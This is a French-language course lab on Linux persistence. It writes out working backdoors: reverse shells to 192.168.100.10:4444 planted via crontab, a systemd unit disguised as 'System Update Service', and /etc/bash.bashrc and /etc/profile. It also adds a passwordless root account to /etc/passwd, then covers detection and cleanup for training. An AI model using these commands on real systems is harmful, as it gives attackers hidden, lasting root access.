Aller au contenu principal

Lab 9.3: Persistence et Backdoors Linux

Objectifs d'Apprentissage​

À la fin de ce laboratoire, vous serez capable de:

  • Implémenter multiples techniques de persistence Linux
  • Créer des backdoors qui survivent au reboot
  • Modifier des fichiers système pour maintien d'accès
  • Utiliser systemd pour persistence
  • Cacher des processus et fichiers
  • Détecter la persistence sur un système Linux
  • Nettoyer un système compromis

Durée Estimée​

35 minutes

Prérequis​

  • VM Linux (Ubuntu/Debian)
  • Accès root (obtenu via Lab 9.1)
  • Labs 9.1 et 9.2 complétés
  • Compréhension de cron, systemd, bash

Contexte Professionnel​

Après avoir obtenu root, l'attaquant veut:

  • Maintenir l'accès même après reboot
  • Survivre aux mises à jour système
  • Rester indétectable le plus longtemps possible

Techniques de persistence utilisées par:

  • APT groups pour accès long terme
  • Ransomware pour re-infection
  • Botnets pour contrôle permanent

AVERTISSEMENT ÉTHIQUE ET LÉGAL​

Installer des backdoors sur systèmes sans autorisation = Crime grave.

AUTORISÉ: VMs de test uniquement
INTERDIT: Systèmes réels sans permission


Partie 1: Cron Jobs Malveillants​

Crontab Utilisateur​

Ajouter tâche cachée:

(crontab -l 2>/dev/null; echo "@reboot bash -i >& /dev/tcp/192.168.100.10/4444 0>&1") | crontab -

Exécution: À chaque démarrage!

Cron Système (Root)​

Fichier /etc/crontab:

echo "*/10 * * * * root /tmp/.hidden/backdoor.sh" >> /etc/crontab

Exécution: Toutes les 10 minutes en tant que root!

Questions:

  1. Le cron job a-t-il survécu au reboot?
  2. Est-il visible pour un utilisateur normal?

Partie 2: Services systemd​

Créer Service Malveillant​

Fichier /etc/systemd/system/system-update.service:

[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1'
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target

Activer:

systemctl enable system-update.service
systemctl start system-update.service

Reverse shell s'exécute comme service système!

Vérifier:

systemctl status system-update

Apparaît comme service légitime!


Partie 3: Modification de Fichiers Système​

Bashrc Global​

Fichier /etc/bash.bashrc:

echo '[ "$(id -u)" -ne 0 ] && bash -i >& /dev/tcp/192.168.100.10/4444 0>&1 &' >> /etc/bash.bashrc

Chaque terminal ouvert: Reverse shell!

Profil SSH​

Fichier /etc/profile:

echo 'bash -c "bash -i >& /dev/tcp/192.168.100.10/4444 0>&1" &' >> /etc/profile

Modification de /etc/passwd​

Créer compte root sans mot de passe:

echo 'backdoor::0:0:Backdoor:/root:/bin/bash' >> /etc/passwd

Login:

su backdoor

Pas de mot de passe demandé, vous êtes root!

Questions: 3. Le backdoor dans bashrc a-t-il fonctionné? 4. Le compte backdoor sans password fonctionne-t-il?


Partie 4: Détection​

Chercher Cron Jobs Suspects​

# Crontabs utilisateurs
for user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ==="; crontab -u $user -l 2>/dev/null; done

# Cron système
cat /etc/crontab
ls -la /etc/cron.*

Chercher Services Suspects​

systemctl list-units --type=service --state=running
systemctl list-unit-files | grep enabled

Vérifier Fichiers Modifiés​

# Bashrc modifié récemment
ls -la /etc/bash.bashrc /etc/profile ~/.bashrc

# Comparer avec baseline
dpkg -V bash

Chercher Comptes Suspects​

cat /etc/passwd | grep :0:

Si autre que root a UID 0: Backdoor!

Questions: 5. Combien de backdoors avez-vous détectés? 6. Comment automatiser la détection?


Partie 5: Nettoyage​

Supprimer Persistence​

# Cron
crontab -r
sed -i '/backdoor/d' /etc/crontab

# Systemd
systemctl stop system-update
systemctl disable system-update
rm /etc/systemd/system/system-update.service

# Bashrc
sed -i '/192.168.100.10/d' /etc/bash.bashrc
sed -i '/192.168.100.10/d' ~/.bashrc

# Compte
sed -i '/backdoor/d' /etc/passwd

Livrables​

  1. Rapport avec 3 méthodes de persistence testées
  2. Preuve de survie au reboot
  3. Script de détection automatisé
  4. Procédure de nettoyage

Conclusion​

Techniques maîtrisées:

  • Cron jobs malveillants
  • Services systemd backdoors
  • Modification fichiers système
  • SSH key persistence
  • Détection et nettoyage

Combiné avec Labs 9.1 et 9.2:

  • Escalade user → root
  • Reverse shell
  • Persistence permanente

Chaîne d'attaque Linux complète!


Lab développé dans le cadre du cours Systèmes d'Exploitation - MODULE 9